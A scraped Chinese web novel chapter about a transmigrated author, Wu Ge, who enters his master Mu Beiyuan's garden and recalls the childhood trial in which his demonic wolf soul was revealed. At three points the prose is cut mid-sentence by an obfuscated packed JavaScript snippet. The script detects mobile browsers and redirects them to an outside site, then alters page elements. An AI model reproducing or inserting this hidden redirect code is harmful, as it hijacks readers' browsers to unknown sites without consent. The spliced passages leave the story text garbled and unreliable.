一片寂静,乌歌好像听到头上有乌鸦飞过。 “Howareyou?” 乌歌喃喃自语。 “他们看起来不是很fine啊。” 【哈哈哈哈,宿主,您的名声真是一点也不好】 “屁,反派炮灰有啥好名声?” “哥哥,人怎么都跑了呀?” 月饼一脸单纯。 “月饼乖,是我们太帅了,他们不敢与我们对视。” 乌歌满脸慈祥,讲出来的话却是毫不要脸。 没想到月饼马上就信了。 “这样啊,那就说的过去了,我是最帅的狼王了,嗷呜!” “那是,也不看看你哥是谁。” 系统:…… 与月饼谈论间,果然几分钟就到了白虎峰顶。 镜花林就在上面,周围该是有结界的。 月饼跑得快,一股脑冲了进去,原本紧闭的结界在他接触的一瞬间打开条缝,放一人一狼去了山顶。 “诶?刚刚是不是有结界呀,怎么打开了。” 月饼这才后知后觉。 “许是你哥哥有特权吧!毕竟师尊可宠我了。” 乌歌毫不在意,原身在书中的设定就是慕北源最宠爱的弟子,至于宠爱的程度他也没写。 其实他不知道的是,镜花林是除了四大掌门和慕北源亲自授权的长老,谁也不能进去,包括他最偏爱的大弟子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883362|176398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那是谁打开的结界呢? 系统虽然只是一通数据也觉得心头一寒,也不知道该不该提醒宿主,想了想还是没有说出口。 本来这个小世界的走向早就偏的一塌糊涂,连主系统都看不透这里了。 它觉得,在没影响到生命的情况下,宿主还是知道的越少越好。 刚到镜花林入口,月饼便从天上迫降,趴下身好让乌歌下去。 “哥哥,这里有种强大的力量不允许在高空飞行,月饼就回去了。” “诶你这就走了吗?月饼你等等……” 月饼像是耗尽了原本就不多的灵力,一脸疲劳,没有理睬乌歌挽留的话,化成一团紫光飞进了乌歌的眉心。 “你等等……我找不到路啊。” 乌歌欲哭无泪。 【宿主您忘了还有宝宝在吗?】 【噢,忘了。】 【呜呜呜,宝宝好伤心啊。】 乌歌面无表情,清冷的面容还真有种高高在上,有事勿扰的感觉。 【嘤,宝宝这就给宿主导航。】 “这还差不多。” 【嘤……】 “你又嘤什么?” 【宿主……这里有种强大的力量,不允许宝宝导航】 乌歌:啧,好熟悉的拒绝理由。 “所以这种这也不允许那也不允许的强大的神秘的力量到底是什么呢?” 【宝宝也不知道哦】 “盲猜肯定是我那好大儿整的。” 乌歌嘀嘀咕咕道,并未察觉脚下出现了一道雪花状法阵,悄然发着白光。 “哼,他肯定知道我来到镜花林了的。” 【宿…宿主】 “不是宠爱大弟子吗,肯定没爱了呜呜呜。” 【你……你脚下……】 “我脚下怎么了?踩到鸟屎了?” 乌歌满脸不耐。 【有法阵啊!】 “啥?”乌歌的表情有一点点破裂,常年写小说的他对接下来的剧情突然有了种不详的预感。 “宝宝,如果下一秒我消失了,希望你不要像小说中那些废物系统一样被屏蔽。” 话音刚落,镜花林前的少年在一阵白光中倏然消失。 【宿……滋……主……】 乌歌闭眼片刻,适应过刚刚那阵强光,缓缓睁开双眼,周围陌生的环境还是让他心底一沉,他暗暗叫了声系统,果然没有回应。 唉……这老套的剧情,废物的系统。 乌歌不再尝试呼喊系统,他抬眼开始打量周围环境。 看着应是个室内花园,没有多余的装饰,亮堂宽敞,四壁皆是雪白仙玉,雕刻着冰花雪凤,隐隐流动。 乌歌脑海里突然多出了关于这些仙玉的知识,那是冰寒霜玉,极致冰属性的上品仙玉,极其罕见,这个殿堂的四壁却全都是霜玉所造。 简朴又奢侈。 大殿中央是一颗参天的大树直冲云霄,殿堂屋顶都专门开了个洞任凭仙树生长,树干上金色的仙纹铭刻。雪白的冰蚕吃了这树叶,很快化作灵光萦绕的冰蝶,环绕其间。 空中飞舞着雪凤、冰蝶,林中白鹿穿行,鹿鸣呦呦。 就像一片世外桃源,乌歌心下评价到。 乌歌一边在园林中走着,一边想白虎峰还有这种地方,他正思索书中有关这地方的信息,依旧毫无头绪时,直到他在那棵参天仙树下看到了一头趴在花坛上休憩的巨大白虎。 乌歌心头一震,不会吧,这么倒霉的吗? 如果他看的没错,那便是慕北源的本命神魂。 名叫……雪娘。 白虎像是察觉到了那道炙热视线,缓缓挣开眼睛,黄金圆瞳猛然竖起。 视线在空中对碰。 乌歌僵硬地抬起手:嗨。 4. 往事 乌歌呆呆看着白虎。 如此看来,这儿就是男主在云生宫旁的万草园,书中写的是慕北源在园里种了很多稀有的仙草灵树,那棵参天大树更是万年仙树,名曰神谕树,具有灵识,据说拥有知晓未来,洞悉天机的能力。 最主要的是,神谕树是三界灵气之源。 后期女主还在这里获得了不少好处呢。 乌歌暗道。 “吼——” 被注视了很久的白虎终于感到了不耐,这个峰中弟子已经盯了它半晌。 这人它见过,也算是它从小看到大的孩子。 也知道对方是大人最宠溺的弟子,可被人一直盯着的感觉让它浑身不爽。 真没有礼貌。 雪娘粗大的虎尾左右甩动几下,它抖抖身子从花坛上缓缓起身,矫健魁梧的雪白身躯,黑色花纹于头顶形成“王”字,金黄竖瞳闪过凛冽寒光,它朝着面前的人象征性地低吼了一声,并未动作。 乌歌下意识往后退了步,但他迅速镇定下来。 既然雪娘在这儿,师尊也定在不远处。 果真,白虎身后隐约站着个高挑人影。 “师尊!” 慕北源紧闭双目,手轻轻放在神谕树上,刚结束与前辈的对话。闻声转过头来,浅棕色的凤眸微睁,眼底冰霜一片。 “孩子,一切都是因果罢了。” 苍老的声音在慕北源识海中愈来愈小。 白虎识相地让开身来。 冰雾消散,男人的样貌在乌歌眼里逐渐清晰。 站在树下的人身形高挑,明晃晃的素白长袍把人衬得挺拔修长,好似雪中青松。面如冠玉,五官俊美立体,银丝及腰,浅褐色的凤眸透着迷离,显得温柔亲切。 乌歌在看到慕北源的时候一愣。 这张脸,和他在现代去世的男友一模一样。这是巧合吗? ——世人都说慕雪仙君温润尔雅,悲悯天下。可只有真正了解他的人才知道,仙君满怀柔情的眸底却是浸满寒霜。 不知为何,当乌歌抬眸与树下人对视,一股莫名的寒意从脚底流经四肢百骸,他的记忆中突然多出了陌生又熟悉的片段。 有神魂天赋的孩子只有在15岁觉醒神魂后才有机会参加试炼拜入仙门问道,每年来四象神峰拜师的人不计其数,能进去的人却屈指可数。 乌歌那年仅仅10岁。 瘦弱的小少年全身衣服破烂不堪,蓬头垢面,多年没有打理的头发长到遮住眉眼,整个人脏兮兮的。小孩低垂着脑袋自顾自在拥挤人群中走着。时不时踉跄几步似乎下一秒就要倒地。 一道耀眼金光自山峰破云而出,走到山脚空地前的人们唏嘘一片。 四象神峰的山门开了。 “开了开了,试炼马上开始了!” “这次不知道又有多少人淘汰咯。” “儿啊,一定要给你爹娘争口气,不枉咱家培养你多年。” “区区试炼,小爷我肯定能夺得第一!” “兄弟别吹牛了,冠军哪是你能肖想的,人家仙门世家的少爷小姐都没说话。” “哼!本小姐一定要拜到慕雪仙君门下!” “狂妄,慕雪仙君多年未出山,从不收徒。” 周围叽叽喳喳声不断,火药味早已在空中弥漫,小乌歌站在角落,眼神黯淡无光。就在此刻,山顶上的金光逐渐消失,随之走来的是一名仙风道骨的老者。 白髯飘飘,慈眉善目,手中拿着一把雪白拂尘,随微风轻飘。 说出来的话却不怒自威。 “安静。” 底下躁动的人群顿时安分。 容鹤眉头舒展开来,从袖底甩出一道白光,空中赫然竖立了一面高丈百尺,宽数十尺的镜子。 白光闪现,镜中景象越发清晰。宽敞的大殿上高坐着三位仙君,青龙谷掌门——秦泺,一身青衣端坐在中央,面目严肃。 朱雀宫掌门——朱百翎,紧蹙剑眉,扫视镜外山脚弟子,一脸不耐。 而玄武海掌门——玄清河最为激动,略显稚嫩的脸上一双杏眼睁得极大。只是……秦泺有些遗憾地望了眼旁边的空座。 师弟今年依然没来,看来他是见不到白虎峰的可爱弟子叫他师叔了。 每年白虎峰弟子皆唤他师祖,要么就板着脸叫宗主,真是一点也不可爱。秦泺轻叹,罢了,师弟自有他的打算。 眼见镜中的秦泺微微点头,容鹤会意,转过身脚踏虚空,逐步下到山脚,他高声道。 “老夫乃白虎峰戒律大长老,同时也是你们此次入门考核的监考人,老夫再最后向在场各位声明一声。” 老者语气高昂严厉。“四象神峰从不缺少天才,也从不稀罕天才!你们来到这里定也是家族中天之骄子,但你们记住,凡是参与试炼者,不管结果如何,生死不论!” “我们不要天才,只要从地狱中爬出来,不要命的愚蠢家伙!” “往往意志坚定的蠢材,比你们这群天才更适合这里。” 容鹤的话引起人群一小阵骚动,他面无表情看着这一切,手中拂尘一甩,空中形成一个巨大沙漏,沙漏一成,计时开始。 “现在想退出,还来得及。到了太阳落山后,你们就没退路了。”底下的人群寂静一片。 时间一分一秒流逝,空中泛起橘黄,一轮红日随着沙漏的流失逐渐低下山头,倦鸟归巢,黑鸦于高空飞舞画圈,啊啊直叫。山脚下的人越来越少,直到地平线上的鱼肚白彻底被黑夜取代,容鹤随手一挥,荧光坠落好似天上繁星,照亮整个山头。 也照亮了蹲坐在不远处大树下,脏兮兮小孩的脸。他仍旧低垂着头,像是讨厌这亮光,紧紧蜷缩起身子。 此刻山门前果真已经少了一大半人,剩下的都是些自以为是天才,非入山门不可的仙门世家子弟,少数的是些乡村孩子。 “容鹤这老家伙还是那么擅长唬人。”朱百翎看了看镜中所剩无几的人,不屑嗤笑。“今年的草包格外多。” “明明都是被吓跑了,容长老好严啊!”低头只顾着吃葡萄的玄清河小声嘀咕到,站在一旁沉默不发的男人有了动作,轻轻用纸帕拭去他嘴边痕迹。 “谢了凌儿~” “徒儿应该做的。”玄凌沉声道。 “你还真是时时都把你小徒弟带在身边。”朱百翎冷笑道。“哪里有个掌门的样子。” “本君养大的小徒弟!当然要带在身边,哼!”玄清河立马反驳,随后又委委屈屈向大哥告状。“三师兄又训本君。 “难道三师兄没资格训你?”朱百翎微微挑眉。 “凌儿你说他该不该训我!” “师父是独当一面的掌门,徒儿心目中唯您是首。”玄凌温声回答。 “瞧!我说吧,三哥你看你这么暴躁,难怪小徒弟们都疏远你。” “嘿你这小乌龟。看我不揍你!” “凌儿帮我!” 看着在外面都严肃庄重的师弟们此刻幼稚打闹,秦泺只能无奈摇头。 “好了注意点儿,下个流程开始了,都仔细挑选,近几年底下封印松动可厉害。”宗主的言外之意甚是明显,打闹的俩人对视一眼,也都把视线投向镜中,一脸严肃。 容鹤背着手,视线扫了一圈场内人,在角落大树下的人影上停滞片刻,又移开视线,随后沉声道。“第一个环节,测试神魂属性,中品及以上者通过。” 容鹤手心一抬,一面镜子被放置在地,瞧着也只是空中的缩小版。 “此乃照魂镜,一会儿各位依次排队在镜前站好,此镜会折射神魂以及属性品质。” “第一位——开始。” 弟子们向容鹤所在地靠拢,自主地排成一列。树下缩着身子的小孩听到动静缓缓抬头,犹豫片刻手撑着地一骨碌爬起来,趔趄着向人群集中的地方跑去。 乌歌闷着头迈腿奔跑,这棵树到那边的距离还是有点远的,他要快点,他要进去,一定要进去,乌歌暗想道。突然,一条腿横空扫来,小乌歌敏锐察觉却依然躲闪不及,被一脚踢开摔倒在地,他动动身子,又一声不吭从地上爬了起来,仍旧垂着脑袋。 “小乞丐,小爷我盯了你很久了,你也来参加试炼?” “就你也配?神魂觉醒了吗就敢来。” 乌歌仍然没动,听不见有人说话似的。 说话的人明显怒了,他在外面见到的乡村小乞丐,哪个不是对他恭恭敬敬,任由欺负辱骂,还第一次有不长眼的无视他。 “知道老子谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883363|176398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?谁见到我王德发不是颔首低眉!王家的威名不知道吗?” “就是就是,大哥,他也太不适抬举了!把他轰出去!” “一看就有娘生没娘养的,还想来四象神峰,想屁吃呢!” 王德发得意地昂了昂头,冷眼看着地上一言不发的小脏孩,挪着胖成球的身子就要给人一拳。 “小子!不用神魂揍你免得说我欺负乞丐!这是给你不自量力来四象神峰的教训!” 拳头在快挨到人的一瞬间猛地停下,像是有种神秘力量控制着他,王德发愕然瞪大双眼。 跪在原地的小孩终于抬起头,长长的刘海下露出一双诡异的血红圆眼,眼珠流转,最后定在面前之人,绽出一点笑意。他伸手擦了擦脸上的灰尘,苍白的皮肤好似从地狱爬出的恶鬼,乌歌歪起脑袋眨了眨眼睛,扬起一个可爱的笑容,小虎牙赫然亮出。 他看着眼神逐渐惊恐的几个人,声音软糯说出的话却好似淬了毒。 “对不起,狼姨说了不能和陌生人说话。” “狼姨说过,猎人不需要回答猎物。” 乌歌一脸抱歉,苦着张小脸显得十分纠结。“可你们总是想让我开口,真的好讨厌呀!” “所以我在想,怎样扭断哥哥们的脖子,最好不要流出一点血才好。” “血腥味太重,小狼会失控的。” 乌歌越说,饥饿感就越发强烈,最后亮起一双通红的眼睛,好像看见了什么诱人的猎物一样,猛地从地上跃起扑向王德发等人。 “但我真的好饿啊!” “啊!!!怪物啊,走开!”到底还是只有15岁的半大少年,哪怕对方是一个看似平凡的小孩,在那双苍白的手伸向他们脖子时,王德发最先尖叫一声,推开其中一个小弟连滚带爬向容鹤跑去。 “长老!长老!怪物,怪物啊!” 剩余的小弟面面相觑,在与面目阴沉的乌歌对视时也吓得尖叫不断,仓皇逃窜。 乌歌红着双眼,冷冷注视着他们,早已把每个人的面貌刻进了脑海。 来日方长,他不介意把猎物多放一段时间。他舔舔嘴唇,好饿,可是他们好脏,不好吃。 他还要进仙门,只有在这里,才能活着。 “都吵嚷什么!”容鹤冷着脸瞟了眼慌张狼狈的几人,那边的动静他早就注意到了,王德发等人的表现让他感到不耻,他又用打量的目光看了看低垂着头的乌歌。 “满十五了?” 乌歌知道这是在问他,他摇摇头,哑着嗓子道。“十岁。” 过了关的弟子们顿时议论纷纷。 “十岁啊,觉醒神魂了吗?” “他怎么敢的啊?” “呵,十岁的小孩能懂什么?” “都闭嘴!”容鹤怒斥一声,四周鸦雀无声。 “我不知道……我家月饼会是神魂吗?”沉默很久的乌歌问到。 “骗人的吧!”王德发尖叫到。“他就是怪物……说,说不定还是魔族的人,对!他的眼睛是红色的啊!” “快把他赶出去!” 容鹤对这个无理取闹的人越发厌恶,刚想说话,一道纤瘦身影从身后窜出,一脚踢翻了王德发。 来者身着一身浅蓝白袍,脖子戴着一圈雪狐围脖,衣带衣袖镶着金边莲花,面容清秀姣好,一看就是哪家富养少爷。 “小爷我忍了你很久了!旺财!” “噗!”不知是谁先笑出了声,反正不是乌歌。 “嗷!苍小冯你要死啊!” “原来是苍家小少爷啊。” “诶,我知道,苍家世世代代神魂都为锦鲤,招财!” “有钱又怎么了,锦鲤诶,一条普通的鱼,这不纯属菜鸟吗?” 苍小冯又踹了踹倒在地上的小胖子,对周围人的话丝毫不在意,但多少有些心虚。 他背着爹娘偷偷来的,因为他要来找自己的救命恩人! “红眼睛怎么了,多帅多好看啊!和红宝石一样,我还蓝眼睛呢,你瞧你瞧。” “你这样说,那我是不是精灵王了?” 乌歌眼睛亮亮地看着苍小冯。 这才是英雄所见略同!好人! “不就一个神魂测试吗,小爷我先来!” 5. 神魂魔狼 苍小冯不屑看了看周围的人,长袖一甩高昂着头走到乌歌等人前面,站到照魂镜前。 “屏息凝神,放空思想。”容鹤照例提醒道。苍小冯缓缓闭上眼,不过半晌照魂镜就发出蓝色的亮光,一条白腹银鳞的长尾锦鲤于镜中浮现。 “神魂锦鲤,属性水,阶级妖兽,上品。” 容鹤点了点头。“过——” 苍小冯傲娇地瞥了眼身后的人,挑衅意味明显。“旺财,别让小爷失望啊!” “你!”王德发脸都气歪了,恶狠狠瞪人一眼,木着脸走到照魂镜前。 “金刚熊,属性土,阶级灵兽,上品。”容鹤对后者点头示意“通过。” 王德发得意极了,阴阳怪气道。“哟,锦鲤,妖兽。” “真是好生厉害呢。” “切,穷光蛋,有钱能使鬼推磨。”苍小冯毫不在意地用小指掏了掏耳朵,大大翻了个白眼。“后面小兄弟,小爷看好你哦。” 乌歌抬眸看了看苍小冯,第一次接受到善意有点不知所措,红瞳的亮光弱了一些,他呆呆点了下头。 “大哥你瞧,那里有三个小朋友在吵架诶!”玄清河看到镜中景象,颇有吃瓜意图。 “这样也好,适当的争斗方能令人进步。” “几个毛头小子罢了。”朱百翎紧皱眉头,看了眼那位像孔雀开屏似的小锦鲤,若有所思。 乌歌等人并不知道他们几个幼稚的争斗行为早已被几位掌门看了笑话,小孩看着面前的照魂镜,踌躇一会儿在它前面站定。 照魂镜丝毫反应都没有。 “噗嗤——”不知哪位看热闹的弟子笑出了声,周围子弟都私下指点起来。 “哈哈哈哈,不会吧!怎么一点反应都没有。” “小怪物,你到底有没有觉醒神魂?” “骗子,早点滚出四象神峰吧!” 王德发心下欢喜,抓紧机会嘲弄,苍小冯暗暗瞪了瞪笑得一脸猥琐的胖子,又把视线投回照魂镜。 不对啊,刚刚这小兄弟头上还冒黑气,瞧着就像狠人。对于锦鲤一族的算命卜卦技术,苍小冯敢打包票绝对超准的。 乌歌没有说话,只是慢慢闭上眼睛。而容鹤正在思考是否宣布这个小孩的结果。虽然他挺看好这孩子,但毕竟年纪尚小。 “时间到,考核未……” “嗷呜——”一声凄厉狼嚎自空中响起,几乎同一时刻,照魂镜猛烈震动,红橙黄绿不断变换着色光,最终化为一团黑气萦绕周围,镜面好似一颗巨大岩石砸进湖水,荡起涟漪,隐隐约约能见到一双血红的狼眸,这才瞧出是一只黑色巨狼,龇起牙泛着森森寒意。 黑气自镜中涌出向四方蔓延,竟想直接冲向周围已经吓呆了的弟子。 容鹤最先反应过来,面色一冷,挥开拂尘抵挡下意图肆意妄为的黑气,雪白拂尘迅速漫开围住照魂镜,逐渐收拢,黑气如同无头苍蝇般四处乱撞,最后被拂尘形成的白丝绞灭。 照魂镜渐渐停止晃动,乌歌猛得睁开双眼,原本褪去血色的圆瞳重新变得鲜红,似诡异彼岸。他重重喘着气,失去焦距的眼神逐渐聚焦。 乌歌呆滞抬起头,映入眼帘的是周围人们惊恐的样子和眼前容鹤阴沉的脸色。 容鹤缓缓走向乌歌,他呆在原地不知该如何是好。 “你的神魂怎会是……魔兽!”容鹤怒不可遏,拂尘“啪”得一下重重打在地板,吓得小孩身子一抖。 “暗月幽狼是魔族护城之兽,怎会出现在你身上!” 乌歌混沌的脑子终于有了思路。“我,我也不知道,我生下来就有的……” “他绝对是魔族的人!”人群传来一声尖叫。 “住嘴!魔族怎么会有神魂?当年魔兽早就被圣龙皇剔除在妖族之外!”四周围观的人们从惊吓中回过神来,七嘴八舌地争执起来。 “这是怎么回事?”玄清河面显焦急。 “四象神峰,不,整个三界都第一次遇到这种事。”秦泺一脸凝重,低下头思考对策。“这又是魔族的什么把戏?这个小孩到底能不能留!”朱百翎一向冲动,猛得拍案而起。“三弟,你冷静一下!”秦泺语气稍严,自己也多少没了头绪。 就在三人不知该如何处理此事时,被他们忽略已久的白虎座后悄然发出白光,一道修长人影自光中踏出,众人皆是一惊。 玄清河更是像看见了死人诈尸般惊恐瞪大了双眼。一旁的玄凌十分冷静地拍了拍自家师父的后背。 “二,二弟?”秦泺不确定地开了口。 “嗯,师兄。”慕北源淡淡应道。“方才感受到神谕树颤动,想来外面有事变,就来看看。” “是收徒试炼出了什么意外吗?”秦泺看到自己的二师弟终于出了白虎峰,原本焦虑的心也平复下来。 他知道慕北源向来靠谱,便把刚才所发生的一切简述了一遍。 “那么师弟,你认为这个小孩该如何处置?” “我反正建议灭了最好,不管是否为魔族,神魂是魔兽这一点就足够我们警惕。”朱百翎不耐烦道。秦泺这次也没开口阻拦,他也知道最近无尽深渊震动厉害,几年来已经有很多魔族逃出,他不敢冒险。 慕北源并未答话,只是将目光投向站在原地眼神慌乱的小孩身上。乌歌似有所感,往上看去,一镜之隔,两道视线相碰,乌歌通红的眼眸泛着水光,到底才十岁,小孩嘴唇蠕动,好像吐出一句。 “帮帮我……” 慕北源忽的收回目光,思考片刻,沉声道。“留着他,不必干扰,测试继续。” 三人皆被这一决定惊到,秦泺略显犹豫。 “此刻灭了他,魔族有神魂一事就会传出,会引起众仙门及百姓恐慌。”慕北源不紧不慢道。 “况且,留着他对日后颇有益处,只需管控到位。” 确实,如果这个小孩真是魔族人,那魔族有神魂这件事本身就很容易引起惊恐。再加上只有乌歌有这一情况,留着他似乎才是更好的决定。 秦泺点了点头,随即千里传音给了正发着脾气的容长老。 容鹤收到消息,闭上眼长出一口气平复下心情,抬眸满脸复杂看着乌歌,几秒后,容长老大手一挥,高声道。 “下一个环节,心魔阶梯。”随后便转身就走,似乎刚刚质问乌歌的愤怒老头不是他一样。 “就这么走了?可是……”有些弟子还心有余悸,容鹤立马瞪胡子吹眼,呵斥起来。 “宗主的意思,敢有异议?”其他人也不再说话,一切恢复平静。 “你,归队。”容鹤看着乌歌,提醒一句。 乌歌这才意识到自己好像又可以参加试炼了,眼睛一亮,在想是刚刚那位漂亮的哥哥做的吗? “是!”乌歌欢快应声,插进人群跟着前往第二考核点。 “诶,兄弟你刚刚真是太吓人了。”熟悉的声音自耳边响起,乌歌下意识偏了偏脑袋。 “哟,我刚刚还帮你出气呢,这就不理人了?”苍小冯作出掩面哭泣状,乌歌才认出是刚刚给他加油的人。 他迟疑一会儿,低声到。“乌歌。” “嗯?你说什么?” “乌歌!我的名字。”小孩转过头一脸认真。“乌鹊数声传喜语,梁间燕子亦能歌。” “乌歌……好名字!只不过叫起来总有种被占了便宜的感觉。”乌歌一脸不解。 “开玩笑的!在下苍小冯,你也可以叫我苍哥,小爷可是超有钱的。” “可你叫苍小冯,不叫苍歌,我才叫乌歌。” 苍小冯一时被哽,竟也觉得他说的很有道理。“好吧!乌歌就乌歌,反正我俩年纪也差不多大。” 看着乌歌好奇的眼神,苍小冯嘴角微扬,凑到他耳边小声到。 “其实我也才十岁。是不是很厉害?” “我可是一出生就伴有锦鲤降世,都不用觉醒!” 乌歌默默想象到刚出生的白净胖娃娃抱着一条差不多大的胖锦鲤的画面。 这就是锦鲤娃娃吗?乌歌想。 “喂!你一点也不惊讶吗?好歹夸夸小爷啊。” “哇好厉害,你竟然只有十岁诶。”流浪在外,乌歌最擅长的就是花言巧语,他一脸真诚。 “嗯哼,这还差不多……诶不对。” “什么叫竟然只有十岁,你在说我老!不可原谅!” “夸你比同龄人成熟?”小狼崽再次改口。 苍小冯:……好嘛,有被安慰到的。 众弟子跟着前方带路的容鹤长老,容鹤来到山峰壁前,手中拂尘起又落下,划开一条白光裂缝。 他半回过头,眼里含笑。 “小娃娃们,欢迎来到四象神峰。” 裂缝后面别有洞天,原本的一座高山变成了数座大小不一的连绵群山,围成一圈,而最高的山峰被群峰包围,形成一圈金色光环,那冲天金柱便由山顶而发。 原来四象神峰从来指的就不是一座山,那座高山只是障眼法,四象神峰是连绵群山围成的一方天地,与世隔绝。 “第二环节,也是你们是否能踏入神峰有资格成为弟子的决定性环节。” 容鹤背过手看着眼前被惊艳住的少年郎们,满意地微微点头。 “看见中间最高的山峰了吗?你们要做的就是走阶梯上去。” 众人都略显讶异。 就这样?这么简单? “哈哈,一会儿大家就知道了。”老者捋了捋雪白长胡子,手心摊开露出一个金色光球,光球缓缓飞到半空,空中逐渐形成一道泛着金光的长阶,直通山顶。 “现在,请各位想尽一切办法登上山顶。” “高歌猛进,顶峰相见!” 话闭,容鹤挥袖化为白鹤飞去。 只留下乌歌等人面面相觑。 “不会有埋伏吧?怎么可能如此简单。” “这老头,狡猾的很!怕不是刚上阶就没命了。” “不就爬阶梯吗?一个个都害怕成这样,一群废物!” 在大家都惊疑不定时,最后面的乌歌望着那一眼不到头的长阶,脑海里浮现出境中那双浅色的玻璃凤眸。 他要拜那个人为师! 他的灵魂深处告诉他。 乌歌有了动作,他从人群中挤开,后面跟着偏要与他结拜兄弟的苍小冯。 “乌歌,乌歌等等小爷啊!” 一圈金光于第一阶梯荡开。 众人惊的猛然回头,才发现刚刚落在最后的小怪物已然开始了第二考核。 苍家小少爷紧跟其后,还回过头嘲讽似的笑道。 “不愧是仙门世家的少爷小姐们,还真是认真谨慎,一如既往地惜命。” 乌歌才不管其余人如何,对身后事一概无知。 等乌歌登上第十级阶梯,剩余的人才潘然醒悟,一个接一个登上了阶梯。 “看着这小家伙,资质和胆量都是顶尖,若不是那满身魔气,诶,可惜可惜。” “刚刚让凌儿去查了,这个叫乌歌的小孩五岁时就被人丢在凡间,被只母兽捡了去,和狼群一起生活。” “但五岁之前的遭遇,生平簿并未记载,魔族遭封印后也再无新生儿降临。” 玄清河一手拿着生平簿,一手翻着魔族命册。“当然,这魔族千年前的名册,也不知是否还有用。” “如果是遇到了从深渊溜出来的魔狼,也有可能被强行缔结契约。” “凡事不可一概就论。” 慕北源垂落的手指半抵在腰间一个紫黑色的月牙形玉佩上一点点研磨。 蹭起丝丝热意。 “是魔是人,又有如何?只需教导有方。” 秦泺几人互相看了眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883364|176398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没有再进行讨论。 而试炼内,在乌歌踏上第十级阶梯时就发现了不对。 他的身体周围浮现出层层红雾,遮挡了阶梯的前后方,也再听不到身后苍小冯叽叽喳喳的吵闹声。 他轻轻皱了下眉,强行按耐住不安,只能放慢脚步在浓密云雾中继续向前。 突然,他脚下一顿,乌歌猛地瞪圆双眼。 脚下不再是陡峭阶梯,而是平整的陆地,和黏糊糊的鲜红液体。身旁略过一个又一个披甲戴盔的牛头马面,魔物横行咬穿逃命的百姓,耳边是一声声凄惨尖叫…… 这里,这里怎么会,那可是无尽深渊啊!都是魔族的子民啊! 小小的乌歌不可置信,满身是血,无力的跌坐原地,眼中充斥着恐惧。 幻境外,四位掌门开始对其余弟子的表现进行点评。 “你瞧那个小胖,在地上打滚拼命叫着我不要减肥。”玄清河笑的直不起腰,一旁的玄凌不断替师父顺气。 “似乎有个小弟子吓尿了,没事吧?”秦泺略显担忧。 “那个苍家的少爷在哭什么?”朱百翎半眯着眼,好笑地嗤了一声。 此时此刻的苍小冯抱着一旁吓晕过去的弟子正哭的稀里哗啦。 “老爹啊!我恩人从鸡变成凤凰了呜呜呜……” “好可怕啊呜呜呜。” “……” 角落沉默许久的慕北源没给他人半分眼神,他目光沉沉,久久看着离终点最近的那个孩子。 乌歌跪在台阶上,身子微微颤抖,但罕见的没有多余的动作,对比起全场哭喊跑跳的人们,他显得正常许多。 可这何尝不算一种异常? 就在慕北源垂下眼睑不再过于探究,跪地的孩童猛然睁开眼睛,眼底赤红一片。 他重重咳嗽几声,双手撑地颤颤巍巍爬起来,乌歌抬起头望着几步外那扇金色大门,咬着牙,半个身子趴在阶上,一点点爬上去。 一阶,两阶…… 在所有人都没注意的光屏上,不见了乌歌的身影,慕北源发现后,眼眸暗了暗,就见身前直通大堂的金门闪烁。 众长老和掌门都期待地睁大了眼睛。 金光闪耀,耀眼的光芒渐渐消失,取而代之的是从大门爬出来的脏小孩。 确实,爬进来的。 几位仙君的脸色顿时不好看了。除了依然保持温柔面色的慕北源。 乌歌不断喘着粗气,没人知道他怎么摆脱了心魔幻境,因为神峰为了不过于涉及弟子的隐私,幻境内的一切都是不可窥探的。 对于神峰来讲,以前的身份经历并不重要,重要的是现在,是未来。 只有慕北源注意到,乌歌紧紧攥住的右手心,隐隐约约有着一片血红。 他手指微动,在周围的寂静无视中,从容走向小孩。 乌歌感受到头顶投来阴影,把他完全笼罩,他抬起眸,微红的瞳孔在接触到温柔的褐色眼睛,像是冰雪初融。 有什么被抓住了,是他的狼尾巴吗? 暗红的瞳色逐渐变浅,最终褪成了漆黑明亮的正常眼色,他极轻地眨眨眼睛。 “你的名字是?”慕北源半俯下身,眼眸含笑。 “乌,乌歌。”小孩竟第一次感到紧张。“是,是……” “乌鹊数声传喜语,梁间燕子亦能歌?”男人轻轻笑了起来,略带低沉的笑声把乌歌听的慢慢红了耳朵。 他急促地揪了揪衣角,垂眸间无意看见旁边几位长老正严肃商量着什么事,目光打量他时皆是防备。 他顿时有点失落以及害怕,眼前这个哥哥,真的能带走他吗? 是自己在痴心妄想吧! 黯然伤神间,乌歌感觉自己被一只温暖的大手包住了脸庞。 “你很好。”慕北源动作轻柔,在乌歌怔愣的眼神中托起小孩肉乎乎的小脸。 “不必在意身份,本君要你。” 哐当——在一旁保持沉默的容鹤长老手中拂尘掉落发出声响。 